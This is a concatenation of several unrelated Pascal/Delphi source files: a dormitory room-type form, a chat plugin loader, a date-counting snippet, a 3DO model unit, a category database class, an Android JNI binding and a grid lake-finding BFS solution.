//*********************************************************************** //* Проект "Студгородок" * //* Справочник типов комнат - добавление типа комнаты * //* Выполнил: Чернявский А.Э. 2004-2005 г. * //*********************************************************************** unit ST_INI_TYPE_ROOM_ADD; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, cxLookAndFeelPainters, cxTextEdit, cxLabel, cxControls, cxContainer, cxEdit, cxGroupBox, StdCtrls, cxButtons, St_Proc, st_ConstUnit, cxCurrencyEdit; type TST_INI_TYPE_ROOM_ADD_Form = class(TForm) OKButton: TcxButton; CancelButton: TcxButton; cxGroupBox1: TcxGroupBox; NameLabel: TcxLabel; NameEdit: TcxTextEdit; PeopleLabel: TcxLabel; PeopleEdit: TcxTextEdit; PlaceLabel: TcxLabel; Short_NameEdit: TcxTextEdit; ShortLabel: TcxLabel; PlaceEdit: TcxCurrencyEdit; procedure OKButtonClick(Sender: TObject); procedure CancelButtonClick(Sender: TObject); procedure FormClose(Sender: TObject; var Action: TCloseAction); procedure NameEditKeyPress(Sender: TObject; var Key: Char); procedure Short_NameEditKeyPress(Sender: TObject; var Key: Char); procedure PeopleEditKeyPress(Sender: TObject; var Key: Char); procedure FormShow(Sender: TObject); procedure FormCreate(Sender: TObject); private PLanguageIndex: byte; procedure FormIniLanguage(); public end; var ST_INI_TYPE_ROOM_ADD_Form: TST_INI_TYPE_ROOM_ADD_Form; implementation uses Unit_of_Utilits; {$R *.dfm} procedure TST_INI_TYPE_ROOM_ADD_Form.FormIniLanguage(); begin // индекс языка (1-укр, 2 - рус) PLanguageIndex := St_Proc.cnLanguageIndex; NameLabel.Caption := st_ConstUnit.st_NameLable[PLanguageIndex]; ShortLabel.Caption := st_ConstUnit.st_Short[PLanguageIndex]; PeopleLabel.Caption := st_ConstUnit.st_MaxCountLivers[PLanguageIndex]; PlaceLabel.Caption := st_ConstUnit.st_SquareM2[PLanguageIndex]; //названия кнопок OKButton.Caption := st_ConstUnit.st_Accept[PLanguageIndex]; CancelButton.Caption := st_ConstUnit.st_Cancel[PLanguageIndex]; end; procedure TST_INI_TYPE_ROOM_ADD_Form.OKButtonClick(Sender: TObject); begin if NameEdit.Text='' then begin showmessage(pchar(st_ConstUnit.st_NeedNameRoom[PLanguageIndex])); //'Необходимо ввести наименование типа комнаты' NameEdit.SetFocus; exit; end; if PeopleEdit.Text='' then begin showmessage(pchar(st_ConstUnit.st_NeedMaxCount[PLanguageIndex])); //'Необходимо ввести максимальное количество жителей' PeopleEdit.SetFocus; exit; end; if PlaceEdit.Text='' then begin showmessage(pchar(st_ConstUnit.st_NeedSquare[PLanguageIndex])); // 'Необходимо ввести площадь комнаты' PlaceEdit.SetFocus; exit; end; if IntegerCheck(PeopleEdit.Text)=false then begin showmessage(pchar(st_ConstUnit.st_CountNotValid[PLanguageIndex])); // 'Количество жителей введено неверно' PeopleEdit.SetFocus; exit; end; ModalResult := mrOk; end; procedure TST_INI_TYPE_ROOM_ADD_Form.CancelButtonClick(Sender: TObject); begin close; end; procedure TST_INI_TYPE_ROOM_ADD_Form.FormClose(Sender: TObject; var Action: TCloseAction); begin Action:=caFree; end; procedure TST_INI_TYPE_ROOM_ADD_Form.NameEditKeyPress(Sender: TObject; var Key: Char); begin if key = #13 then Short_NameEdit.SetFocus; end; procedure TST_INI_TYPE_ROOM_ADD_Form.Short_NameEditKeyPress( Sender: TObject; var Key: Char); begin if key = #13 then PeopleEdit.SetFocus; end; procedure TST_INI_TYPE_ROOM_ADD_Form.PeopleEditKeyPress(Sender: TObject; var Key: Char); begin if key = #13 then PlaceEdit.SetFocus; end; procedure TST_INI_TYPE_ROOM_ADD_Form.FormShow(Sender: TObject); begin NameEdit.SetFocus; end; procedure TST_INI_TYPE_ROOM_ADD_Form.FormCreate(Sender: TObject); begin FormIniLanguage(); end; end.
//Autor Bajenov Andrey //All right reserved. //Saint-Petersburg, Russia //2007.02.03 //neyro@mail.ru //DreamChat is published under a double license. You can choose which one fits //better for you, either Mozilla Public License (MPL) or Lesser General Public //License (LGPL). For more info about MPL read the MPL homepage. For more info //about LGPL read the LGPL homepage. unit DChatTestPlugin; interface uses Windows, Messages, SysUtils, Classes, DChatPlugin; const DChatTestPluginVersion = 1; type TInitFunction = function (ModuleHandle: HMODULE; pCallBackFunction:pointer; ExePath:PChar):PChar; TShutDownFunction = function ():PChar; TExecuteCommand = function (Command: PChar; Data: PChar; DataSize: cardinal):PChar;//Return errorcode or 0 if succef TLoadErrorEvent = procedure(Sender: TObject; ErrorMess: string) of object; type TDChatTestPlugin = class(TDChatPlugin) private { Private declarations } FOnErrorLoading: TLoadErrorEvent; FOnErrorGetProc: TLoadErrorEvent; public { Public declarations } InitFunction: TInitFunction; ShutDownFunction: TShutDownFunction; ExecuteCommand: TExecuteCommand; property OnErrorLoading: TLoadErrorEvent read FOnErrorLoading write FOnErrorLoading; property OnErrorGetProc: TLoadErrorEvent read FOnErrorGetProc write FOnErrorGetProc; constructor Create(NativePlugin: TDChatPlugin); destructor Destroy; override; end; implementation Constructor TDChatTestPlugin.Create(NativePlugin: TDChatPlugin); var ErrorMess: string; Begin //тут мы получаем плагин-предок этого типа. //нам надо создать объект более высокого класса, но и заполнить свойства //от уже существующего предка. //и так, если в конструкторе происходит исключение, то выполнение конструктора прерывается // и управление передается сразу на END конструктора. inherited Create(NativePlugin.Path + NativePlugin.Filename); // self.InitFunction := NativePlugin.InitFunction; // self.ShutDownFunction := NativePlugin.ShutDownFunction; // self.GetPluginType := NativePlugin.GetPluginType; self.GetPluginInfo := NativePlugin.GetPluginInfo; self.PluginInfo := NativePlugin.PluginInfo; self.Filename := NativePlugin.Filename; self.Path := NativePlugin.Path; self.DLLHandle := NativePlugin.DLLHandle; InitFunction := GetProcAddress(DLLHandle, 'Init'); if not Assigned(InitFunction) then raise EExportFunctionError.Create('Error GetProcAddress of InitFunction in Plug-in "' + FileName + '"'); ShutDownFunction := GetProcAddress(DLLHandle, 'ShutDown'); if not Assigned(ShutDownFunction) then raise EExportFunctionError.Create('Error GetProcAddress of ShutDownFunction in Plug-in "' + FileName + '"'); ExecuteCommand := GetProcAddress(DLLHandle, 'ExecuteCommand'); if not Assigned(ExecuteCommand) then raise EExportFunctionError.Create('Error GetProcAddress of ExecuteCommand in Plug-in "' + FileName + '"'); // TestFunction1 := GetProcAddress(DLLHandle, 'TestFunction1'); // if not Assigned(TestFunction1) then raise EExportFunctionError.Create('Error GetProcAddress of TestFunction1 in Plug-in "' + FileName + '"'); End; Destructor TDChatTestPlugin.Destroy; {override;} Begin inherited Destroy; //MessageBox(0, PChar('TDChatTestPlugin.Destroy'), PChar(IntToStr(0)), MB_OK); End; {как из DLL получить полный путь до нее procedure ShowDllPath stdcall; var TheFileName: array[0..MAX_PATH] of char; begin FillChar(TheFileName, sizeof(TheFileName), #0); GetModuleFileName(hInstance, TheFileName, sizeof(TheFileName)); MessageBox(0, TheFileName, ?The DLL file name is:?, mb_ok); end;} end.
(* Category: SWAG Title: DATE & TIME ROUTINES Original name: 0050.PAS Description: DAYS UNTIL/SINCE CALC'ING Author: DAVID DANIEL ANDERSON Date: 02-28-95 09:55 *) { If you are only concerned about dates since 1582, you can translate both the Current date and the Other date into a LONGINT, and subtract one from the other. Below I have a calendar code fragment that writes out the Current date as a LONGINT. It should be a trivial task to integrate it into an operational program, and have it do what you want. } {======================[ cut here ]======================} USES DOS; CONST DaysPerYear = 365; TYPE Month = (Jan, Feb, Mar, Apr, May, Jun, Jul, Aug, Sep, Oct, Nov, Dec); (* REMEMBER: ORD values for Month are 0..11 - NOT 1..12 ! *) Date = RECORD da: 1..31; mo: Month; yr: 1..9999 END; VAR maxDay: ARRAY [Month] OF INTEGER; daysBefore: ARRAY [Month] OF INTEGER; PROCEDURE GetSysDate(VAR d: Date); (* Reads the system clock and assigns the date to d and the day of the week to dayOfWeek. *) VAR SysYear,SysMonth,SysDay,SysDOW : word; BEGIN GetDate(SysYear,SysMonth,SysDay,SysDOW); d.yr := SysYear; d.mo := Month(SysMonth-1); d.da := SysDay { dayOfWeek := DayType(SysDOW+1); } END; PROCEDURE MonthsInit; VAR mo: Month; BEGIN maxDay[Jan] := 31; maxDay[Feb] := 28; (* adjust for leap years later *) maxDay[Mar] := 31; maxDay[Apr] := 30; maxDay[May] := 31; maxDay[Jun] := 30; maxDay[Jul] := 31; maxDay[Aug] := 31; maxDay[Sep] := 30; maxDay[Oct] := 31; maxDay[Nov] := 30; maxDay[Dec] := 31; daysBefore[Jan] := 0; FOR mo := Jan TO Nov DO daysBefore[Month(ORD(mo)+1)] := daysBefore[mo] + maxDay[mo] END; FUNCTION IsLeapYear(Const yr: INTEGER): BOOLEAN; BEGIN IsLeapYear := ((yr MOD 4 = 0) AND (yr MOD 100 <> 0)) OR (yr MOD 400 = 0) END; FUNCTION NumDays(CONST d: Date): LONGINT; (* NumDays returns an ordinal value for the date with January 1, 0001 assigned the value 1. *) VAR result, leapYears, lYr: LONGINT; BEGIN WITH d DO BEGIN lYr:=yr-1; result := (da); INC(result, daysBefore[mo]); INC(result,lYr * DaysPerYear); leapYears := (lYr DIV 4) - (lYr DIV 100) + (lYr DIV 400); INC(result, leapYears); IF (mo > Feb) AND IsLeapYear(yr) THEN INC(result) END; NumDays := result END; VAR currentDay : date; begin GetSysDate(currentDay); MonthsInit; Writeln(NumDays(currentDay)); end.
unit u_3dos; {$MODE Delphi} interface uses classes,Geometry, SysUtils, misc_utils, GlobalVars; Type T3DOFace=class(TPolygon) imat:integer; ftype:Longint; geo,light,tex:integer; extra_l:single; end; T3DOFaces=class(TPolygons) Function GetItem(n:integer):T3DOface; Procedure SetItem(n:integer;v:T3DOface); Property Items[n:integer]:T3DOface read GetItem write SetItem; default; end; T3DOMesh=class name:string; faces:T3DOFaces; Constructor Create; Function GetVXs:TVertices; Property vertices:Tvertices read GetVXs; Destructor Destroy;override; Function FindRadius:double; Function AddVertex(x,y,z:double):integer; end; T3DOMeshes=class(TList) Function GetItem(n:integer):T3DOMesh; Procedure SetItem(n:integer;v:T3DOMesh); Property Items[n:integer]:T3DOMesh read GetItem write SetItem; default; end; THNode=class id:integer; nodename:string; ntype:longint; nmesh:integer; parent:integer; x,y,z:double; pch,yaw,rol:double; pivotx,pivoty,pivotz:double; Constructor Create; Procedure Assign(node:THNode); end; THNodes=class(TList) Function GetItem(n:integer):THNode; Property Items[n:integer]:THNode read GetItem; default; end; T3DO=class ucount:integer; Mats:TStringList; Meshes:T3DOMeshes; hnodes:THNodes; Constructor CreateNew; Constructor CreateFrom3DO(const name:string;lod:integer); Destructor Destroy;override; Function NewMesh:T3DOMesh; Function GetMat(n:integer):string; Procedure GetBBox(var box:TThingBox); Procedure SaveToFile(const name:string); Function FindRadius:double; end; Function Load3DO(const name:string):T3DO; Procedure Free3DO(var a3DO:T3DO); {These function must be use to load and free 3DOs, not T3DO.CreateFrom3DO, T3Do.Free} Procedure StringToHNode(const s:string;node:THNode); Function HNodeToString(node:THNode;n:integer):string; implementation uses Files, FileOperations, lev_utils; var L3DOs:TStringList; Constructor THNode.Create; begin ntype:=1; nmesh:=-1; parent:=-1; end; Procedure THNode.Assign(node:THNode); begin nodename:=node.nodename; ntype:=node.ntype; nmesh:=node.nmesh; parent:=node.parent; x:=node.x; y:=node.y; z:=node.z; pch:=node.pch; yaw:=node.yaw; rol:=node.rol; pivotx:=node.pivotx; pivoty:=node.pivoty; pivotz:=node.pivotz; end; Function Load3DO(const name:string):T3DO; var i:integer; begin i:=L3DOs.IndexOf(name); if i<>-1 then begin Result:=T3DO(L3DOs.Objects[i]); inc(Result.ucount); end else begin try Result:=T3DO.CreateFrom3DO(name,3); L3DOs.AddObject(name,Result); Result.ucount:=1; except on Exception do begin result:=nil; PanMessageFmt(mt_warning,'Cannot load %s',[name]); end; end; end; end; Procedure Free3DO(var a3DO:T3DO); var i:integer; begin if a3DO=nil then exit; try try Dec(a3DO.ucount); if A3Do.ucount<=0 then begin i:=L3DOs.IndexOfObject(a3DO); if i<>-1 then L3DOs.Delete(i); a3DO.Destroy; end; finally a3DO:=nil; end; except On Exception do; end; end; Function T3DOFaces.GetItem(n:integer):T3DOFace; begin if (n<0) or (n>=count) then raise EListError.CreateFmt('3DO Face Index is out of bounds: %d',[n]); Result:=T3DOFace(List[n]); end; Procedure T3DOFaces.SetItem(n:integer;v:T3DOFace); begin if (n<0) or (n>=count) then raise EListError.CreateFmt('3DO Face Index is out of bounds: %d',[n]); List[n]:=v; end; Function T3DOMeshes.GetItem(n:integer):T3DOMesh; begin if (n<0) or (n>=count) then raise EListError.CreateFmt('3DO Mesh Index is out of bounds: %d',[n]); Result:=T3DOMesh(List[n]); end; Procedure T3DOMeshes.SetItem(n:integer;v:T3DOMesh); begin if (n<0) or (n>=count) then raise EListError.CreateFmt('3DO Mesh Index is out of bounds: %d',[n]); List[n]:=v; end; Function THNodes.GetItem(n:integer):THNode; begin if (n<0) or (n>=count) then raise EListError.CreateFmt('3DO Node Index is out of bounds: %d',[n]); Result:=THNode(List[n]); end; Constructor T3DO.CreateNew; begin Mats:=TStringList.create; Meshes:=T3DOMeshes.Create; hnodes:=THNodes.Create; end; Destructor T3DO.Destroy; var i,j:integer; begin try for i:=0 to HNodes.count-1 do hnodes[i].Free; for i:=0 to Meshes.count-1 do With Meshes[i] do begin For j:=0 to Vertices.count-1 do Vertices[j].free; For j:=0 to Faces.count-1 do faces[j].free; free; end; finally Meshes.Free; Mats.Free; hnodes.free; end; Inherited destroy; end; Function T3DO.NewMesh:T3DOMesh; begin Result:=T3DOMesh.Create; end; Function T3DO.GetMat(n:integer):string; begin if (n<0) or (n>=mats.count) then result:='' else result:=Mats[n]; end; Procedure T3DO.GetBBox(var box:TThingBox); var i,j:integer; x1,x2,y1,y2,z1,z2:double; begin x1:=99999; x2:=-99999; y1:=99999; y2:=-99999; z1:=99999; z2:=-99999; for i:=0 to Meshes.count-1 do With Meshes[i] do for j:=0 to Vertices.count-1 do With Vertices[j] do begin if x<x1 then x1:=x; if x>x2 then x2:=x; if y<y1 then y1:=y; if y>y2 then y2:=y; if z<z1 then z1:=z; if z>z2 then z2:=z; end; if x1=99999 then FillChar(Box,sizeof(Box),0) else begin box.x1:=x1; box.x2:=x2; box.y1:=y1; box.y2:=y2; box.z1:=z1; box.z2:=z2; end; end; COnstructor T3DOMesh.Create; begin Faces:=T3DOFaces.Create; Faces.VXList:=TVertices.Create; end; Function T3DOMesh.GetVXs:TVertices; begin Result:=faces.VXList; end; Destructor T3DOMesh.Destroy; begin Faces.VXList.Destroy; Faces.Destroy; end; Function T3DOMesh.FindRadius:double; var i:integer; crad:double; begin Result:=0; for i:=0 to Vertices.count-1 do With Vertices[i] do begin crad:=Sqrt(sqr(x)+sqr(y)+sqr(z)); if crad>result then Result:=crad; end; end; Function T3DOMesh.AddVertex(x,y,z:double):integer; var i:integer; v:Tvertex; begin i:=FindVX(vertices,x,y,z); if i<>-1 then Result:=i else begin v:=TVertex.Create; v.x:=x; v.y:=y; v.z:=z; result:=Vertices.Add(v); end; end; Function T3DO.FindRadius:double; var i,j:integer; crad:double; begin Result:=0; for i:=0 to Meshes.count-1 do begin crad:=Meshes[i].FindRadius; if crad>result then Result:=crad; end; end; {$i 3do_io.inc} Initialization begin L3DOs:=TStringList.Create; L3DOs.Sorted:=true; end; end. Types: 0x10 or 0x00010 This node is apart of the lower body (hip). 0x1 or 0x00001 This node is apart of the upper body (torso). 0x20 or 0x00020 This node is apart of the left leg (lcalf,lfoot,lthigh). 0x2 or 0x00002 This node is apart of the left arm (lforearm,lhand,lshoulder). 0x40 or 0x00040 This node is apart of the right leg (rcalf,rfoot,rthigh). 0x4 or 0x00004 This node is apart of the right arm (rforearm,rhand,rshoulder). 0x8 or 0x00008 This node is apart of the head (head,neck).
unit uNewKategori; interface uses SysUtils, Classes, uTSBaseClass, uNewSubGroup; type TKategori = class(TSBaseClass) private FID: Integer; FKode: string; FNama: string; FSubGroup: TSubGroup; FUnitID: Integer; function FLoadFromDB( aSQL : String ): Boolean; procedure SetUnitID(const Value: Integer); public constructor Create(aOwner : TComponent); override; destructor Destroy; override; procedure ClearProperties; function ExecuteCustomSQLTask: Boolean; function ExecuteCustomSQLTaskPrior: Boolean; function CustomTableName: string; function GenerateInterbaseMetaData: Tstrings; function ExecuteGenerateSQL: Boolean; function GetFieldNameFor_ID: string; dynamic; function GetFieldNameFor_Kode: string; dynamic; function GetFieldNameFor_Nama: string; dynamic; function GetFieldNameFor_SubGroup: string; dynamic; function GetFieldNameFor_SubGroup_UnitID: string; function GetFieldNameFor_UnitID: string; dynamic; function GetHeaderFlag: Integer; function LoadByID(aID: Integer): Boolean; function LoadByKode(aKode: string; aUnitID, aSubGrpID, aSubGrpUnitID: Integer): Boolean; function RemoveFromDB: Boolean; procedure UpdateData(aID : Integer; aKode : string; aNama : string; aSubGroup_ID : Integer; aUnitID : Integer); property ID: Integer read FID write FID; property Kode: string read FKode write FKode; property Nama: string read FNama write FNama; property SubGroup: TSubGroup read FSubGroup write FSubGroup; property UnitID: Integer read FUnitID write SetUnitID; end; implementation uses FireDAC.Comp.Client, FireDAC.Stan.Error, udmMain; { ********************************** TKategori *********************************** } constructor TKategori.Create(aOwner : TComponent); begin inherited create(aOwner); FSubGroup := TSubGroup.Create(Self); ClearProperties; end; destructor TKategori.Destroy; begin FSubGroup.free; inherited Destroy; end; procedure TKategori.ClearProperties; begin FID := 0; Kode := ''; Nama := ''; SubGroup.ClearProperties; FUnitID := 0; end; function TKategori.ExecuteCustomSQLTask: Boolean; begin result := True; end; function TKategori.ExecuteCustomSQLTaskPrior: Boolean; begin result := True; end; function TKategori.CustomTableName: string; begin result := 'REF$KATEGORI'; end; function TKategori.FLoadFromDB( aSQL : String ): Boolean; begin result := false; State := csNone; ClearProperties; with cOpenQuery(aSQL) do Begin if not EOF then begin FID := FieldByName(GetFieldNameFor_ID).asInteger; FKode := FieldByName(GetFieldNameFor_Kode).asString; FNama := FieldByName(GetFieldNameFor_Nama).asString; FUnitID := FieldByName(GetFieldNameFor_UnitID).asInteger; FSubGroup.LoadByID(FieldByName(GetFieldNameFor_SubGroup).asInteger, FUnitID); Self.State := csLoaded; Result := True; end; Free; End; end; function TKategori.GenerateInterbaseMetaData: Tstrings; begin result := TstringList.create; result.Append( '' ); result.Append( 'Create Table TKategori ( ' ); result.Append( 'TRMSBaseClass_ID Integer not null, ' ); result.Append( 'ID Integer Not Null Unique, ' ); result.Append( 'Kode Varchar(30) Not Null Unique, ' ); result.Append( 'Nama Varchar(30) Not Null , ' ); result.Append( 'SubGroup_ID Integer Not Null, ' ); result.Append( 'UnitID Integer Not Null , ' ); result.Append( 'Stamp TimeStamp ' ); result.Append( ' ); ' ); end; function TKategori.ExecuteGenerateSQL: Boolean; var S: string; //i: Integer; //SS: Tstrings; begin //result := TstringList.create; Result := False; if State = csNone then Begin raise Exception.create('Tidak bisa generate dalam Mode csNone') end; {SS := CustomSQLTaskPrior; if SS <> nil then Begin result.AddStrings(SS); end; //SS := Nil; } if not ExecuteCustomSQLTaskPrior then begin cRollbackTrans; Exit; end else begin If FID <= 0 then begin //Generate Insert SQL FID := cGetNextID(GetFieldNameFor_ID, CustomTableName) ; S := 'Insert into ' + CustomTableName + ' ( ' + GetFieldNameFor_ID + ', ' + GetFieldNameFor_Kode + ', ' + GetFieldNameFor_Nama + ', ' + GetFieldNameFor_SubGroup + ', ' + GetFieldNameFor_UnitID + ',' + GetFieldNameFor_SubGroup_UnitID + ') values (' + IntToStr( FID) + ', ' + QuotedStr(FKode ) + ',' + QuotedStr(FNama ) + ',' + InttoStr( FSubGroup.ID) + ', ' + IntToStr( FUnitID) + ', ' + IntToStr( FSubGroup.UnitID) + ');'; end else begin //generate Update SQL S := 'Update ' + CustomTableName + ' set ' + GetFieldNameFor_Kode + ' = ' + QuotedStr( FKode ) + ' , ' + GetFieldNameFor_Nama + ' = ' + QuotedStr( FNama ) + ', ' + GetFieldNameFor_SubGroup + ' = ' + IntToStr( FSubGroup.ID) + ', ' + GetFieldNameFor_UnitID + ' = ' + IntToStr( FUnitID) + ', ' + GetFieldNameFor_SubGroup_UnitID + ' = ' + IntToStr( FUnitID) + ' where ' + GetFieldNameFor_UnitID + ' = ' + IntToStr(FUnitID) + ' and ' + GetFieldNameFor_ID + ' = ' + IntToStr(FID) + ';'; end; end; { result.append( S ); //generating Collections SQL SS := CustomSQLTask; if SS <> nil then Begin result.AddStrings(SS); end; } if not cExecSQL(S, dbtPOS, False) then begin cRollbackTrans; Exit; end else Result := ExecuteCustomSQLTask; end; function TKategori.GetFieldNameFor_ID: string; begin Result := 'KAT_ID';// <<-- Rubah string ini untuk mapping end; function TKategori.GetFieldNameFor_Kode: string; begin Result := 'KAT_CODE';// <<-- Rubah string ini untuk mapping end; function TKategori.GetFieldNameFor_Nama: string; begin Result := 'KAT_NAME';// <<-- Rubah string ini untuk mapping end; function TKategori.GetFieldNameFor_SubGroup: string; begin Result := 'KAT_SUBGRUP_ID';// <<-- Rubah string ini untuk mapping end; function TKategori.GetFieldNameFor_SubGroup_UnitID: string; begin Result := 'KAT_SUBGRUP_UNT_ID'; end; function TKategori.GetFieldNameFor_UnitID: string; begin Result := 'KAT_UNT_ID';// <<-- Rubah string ini untuk mapping end; function TKategori.GetHeaderFlag: Integer; begin result := 181; //result := 181; //result := 181; end; function TKategori.LoadByID(aID: Integer): Boolean; begin result := FloadFromDB('Select * from ' + CustomTableName + ' Where ' + GetFieldNameFor_ID + ' = ' + IntToStr(aID)); end; function TKategori.LoadByKode(aKode: string; aUnitID, aSubGrpID, aSubGrpUnitID: Integer): Boolean; begin result := FloadFromDB('Select * from ' + CustomTableName + ' Where ' + GetFieldNameFor_Kode + ' = ' + QuotedStr(aKode) + ' and ' + GetFieldNameFor_UnitID + ' = ' + IntToStr(aUnitID) + ' and ' + GetFieldNameFor_SubGroup + ' = ' + IntToStr(aSubGrpID) + ' and ' + GetFieldNameFor_SubGroup_UnitID + ' = ' + IntToStr(aSubGrpUnitID) ); end; function TKategori.RemoveFromDB: Boolean; var sErr: string; sSQL: String; begin Result := False; sSQL := 'DELETE FROM REF$KATEGORI ' + ' WHERE KAT_ID = ' + IntToStr(FID) + ' AND KAT_UNT_ID = ' + IntToStr(FUnitID) + ';' ; try if cExecSQL(sSQL, dbtPOS, False) then result := True; // SimpanBlob(sSQL, GetHeaderFlag); except on E: EFDDBEngineException do begin sErr := e.Message; if sErr <> '' then raise Exception.Create(sErr) else raise Exception.Create('Error Code: '+IntToStr(e.ErrorCode)+#13#10+e.SQL); end; end; end; procedure TKategori.SetUnitID(const Value: Integer); begin if (Value <> SubGroup.UnitID) and (Value <> 0) then begin raise Exception.Create('Unit ID <> Sub Group Unit ID'); end else FUnitID := Value; end; procedure TKategori.UpdateData(aID : Integer; aKode : string; aNama : string; aSubGroup_ID : Integer; aUnitID : Integer); begin FID := aID; FKode := trim(aKode); FNama := trim(aNama); FSubGroup.LoadByID(aSubGroup_ID, aUnitID); FUnitID := aUnitID; State := csCreated; end; end.
// // Generated by JavaToPas v1.5 20150831 - 132340 //////////////////////////////////////////////////////////////////////////////// unit android.widget.ActionMenuView; interface uses AndroidAPI.JNIBridge, Androidapi.JNI.JavaTypes, Androidapi.JNI.GraphicsContentViewText, Androidapi.JNI.Util, android.content.res.Configuration, android.widget.ActionMenuView_OnMenuItemClickListener, android.graphics.drawable.Drawable, android.widget.ActionMenuView_LayoutParams, android.view.Menu; type JActionMenuView = interface; JActionMenuViewClass = interface(JObjectClass) ['{3F250D8E-7886-4E52-8986-D5B889C2014A}'] function generateLayoutParams(attrs : JAttributeSet) : JActionMenuView_LayoutParams; cdecl; overload;// (Landroid/util/AttributeSet;)Landroid/widget/ActionMenuView$LayoutParams; A: $1 function getMenu : JMenu; cdecl; // ()Landroid/view/Menu; A: $1 function getOverflowIcon : JDrawable; cdecl; // ()Landroid/graphics/drawable/Drawable; A: $1 function getPopupTheme : Integer; cdecl; // ()I A: $1 function hideOverflowMenu : boolean; cdecl; // ()Z A: $1 function init(context : JContext) : JActionMenuView; cdecl; overload; // (Landroid/content/Context;)V A: $1 function init(context : JContext; attrs : JAttributeSet) : JActionMenuView; cdecl; overload;// (Landroid/content/Context;Landroid/util/AttributeSet;)V A: $1 function isOverflowMenuShowing : boolean; cdecl; // ()Z A: $1 function showOverflowMenu : boolean; cdecl; // ()Z A: $1 procedure dismissPopupMenus ; cdecl; // ()V A: $1 procedure onConfigurationChanged(newConfig : JConfiguration) ; cdecl; // (Landroid/content/res/Configuration;)V A: $1 procedure onDetachedFromWindow ; cdecl; // ()V A: $1 procedure setOnMenuItemClickListener(listener : JActionMenuView_OnMenuItemClickListener) ; cdecl;// (Landroid/widget/ActionMenuView$OnMenuItemClickListener;)V A: $1 procedure setOverflowIcon(icon : JDrawable) ; cdecl; // (Landroid/graphics/drawable/Drawable;)V A: $1 procedure setPopupTheme(resId : Integer) ; cdecl; // (I)V A: $1 end; [JavaSignature('android/widget/ActionMenuView$LayoutParams')] JActionMenuView = interface(JObject) ['{891314A0-875D-4E5D-982F-C0ADAB09A254}'] function generateLayoutParams(attrs : JAttributeSet) : JActionMenuView_LayoutParams; cdecl; overload;// (Landroid/util/AttributeSet;)Landroid/widget/ActionMenuView$LayoutParams; A: $1 function getMenu : JMenu; cdecl; // ()Landroid/view/Menu; A: $1 function getOverflowIcon : JDrawable; cdecl; // ()Landroid/graphics/drawable/Drawable; A: $1 function getPopupTheme : Integer; cdecl; // ()I A: $1 function hideOverflowMenu : boolean; cdecl; // ()Z A: $1 function isOverflowMenuShowing : boolean; cdecl; // ()Z A: $1 function showOverflowMenu : boolean; cdecl; // ()Z A: $1 procedure dismissPopupMenus ; cdecl; // ()V A: $1 procedure onConfigurationChanged(newConfig : JConfiguration) ; cdecl; // (Landroid/content/res/Configuration;)V A: $1 procedure onDetachedFromWindow ; cdecl; // ()V A: $1 procedure setOnMenuItemClickListener(listener : JActionMenuView_OnMenuItemClickListener) ; cdecl;// (Landroid/widget/ActionMenuView$OnMenuItemClickListener;)V A: $1 procedure setOverflowIcon(icon : JDrawable) ; cdecl; // (Landroid/graphics/drawable/Drawable;)V A: $1 procedure setPopupTheme(resId : Integer) ; cdecl; // (I)V A: $1 end; TJActionMenuView = class(TJavaGenericImport<JActionMenuViewClass, JActionMenuView>) end; implementation end.
{$I-,Q-,R-,S-} {Problema 13: Evite los Lagos (Jeffrey Wang, 2007) La granja del Granjero Juan quedó inundada después de la tormenta más reciente, un hecho únicamente agravado por la información que sus vacas temen a muerte el agua. Su agencia de seguro solamente le pagará a él, sin embargo, una cantidad dependiendo del tamaño del mayor “lago” en su granja. La granja está representada como una cuadrícula rectangular con N (1<= N <= 100) filas y M (1 <= M <= 100) columnas. Cada celda en la cuadrícula está seca o sumergida, y exactamente K (1 <= K <= N*M) de las celdas están sumergidas. Como uno esperaría, un lago tiene una celda central a la cual están conectadas otras celdas compartiendo un borde (no una esquina). Cualquier celda que comparta un borde con la celda central o comparta un borde con cualquier celda conectada se vuelve una celda conectada y es parte del lago. NOMBRE DEL PROBLEMA: lake FORMATO DE ENTRADA: * Línea 1: Tres enteros separados por enteros: N, M, y K * Líneas 2..K+1: La línea i+1 describe una ubicación sumergida con dos enteros separados por espacio que son su fila y columna R y C ENTRADA EJEMPLO (archivo lake.in): 3 4 5 3 2 2 2 3 1 2 3 1 1 DETALLES DE LA ENTRADA: La granja es una cuadrícula con tres filas y cuatro columnas; cinco de las celdas están sumergidas: Ellas están ubicadas en las posiciones (fila 3, columna 2); (fila 2, columna 2); (fila 3, columna 1); (fila 2, columna 3); (fila 1, columna 1): # . . . . # # . # # . . FORMATO DE SALIDA: * Línea 1: El número de celdas que contiene el lago más grande. SALIDA EJEMPLO (archivo lake.out): 4 DETALLES DE LA SALIDA: El mayor lago consiste en las cuatro primeras celdas de la entrada. } const max = 101; mov : array[1..4,1..2] of shortint =((1,0),(0,1),(-1,0),(0,-1)); var fe,fs : text; n,m,k,sol,cp,ch : longint; tab : array[1..max,1..max] of byte; sav : array[boolean,1..max*max*2+1,1..2] of longint; procedure open; var i,x,y : longint; begin assign(fe,'lake.in'); reset(fe); assign(fs,'lake.out'); rewrite(fs); readln(fe,n,m,k); for i:=1 to k do begin readln(fe,x,y); tab[x,y]:=1; end; close(fe); end; function bfs(x,y : longint) : longint; var i,j,k,h1,h2 : longint; s : boolean; begin cp:=1; ch:=0; s:=true; sav[s,1,1]:=x; sav[s,1,2]:=y; k:=1; while cp > 0 do begin for i:=1 to cp do for j:=1 to 4 do begin h1:=sav[s,i,1] + mov[j,1]; h2:=sav[s,i,2] + mov[j,2]; if (h1 > 0) and (h1 <= n) and (h2 > 0) and (h2 <= m) and (tab[h1,h2]=1) then begin inc(ch); sav[not s,ch,1]:=h1; sav[not s,ch,2]:=h2; tab[h1,h2]:=0; inc(k); end; end; s:=not s; cp:=ch; ch:=0; end; bfs:=k; end; procedure work; var i,j,k : longint; begin for i:=1 to n do for j:=1 to m do begin if tab[i,j] = 1 then begin tab[i,j]:=0; k:=bfs(i,j); if sol < k then sol:=k; end; end; end; procedure closer; begin writeln(fs,sol); close(fs); end; begin open; work; closer; end.
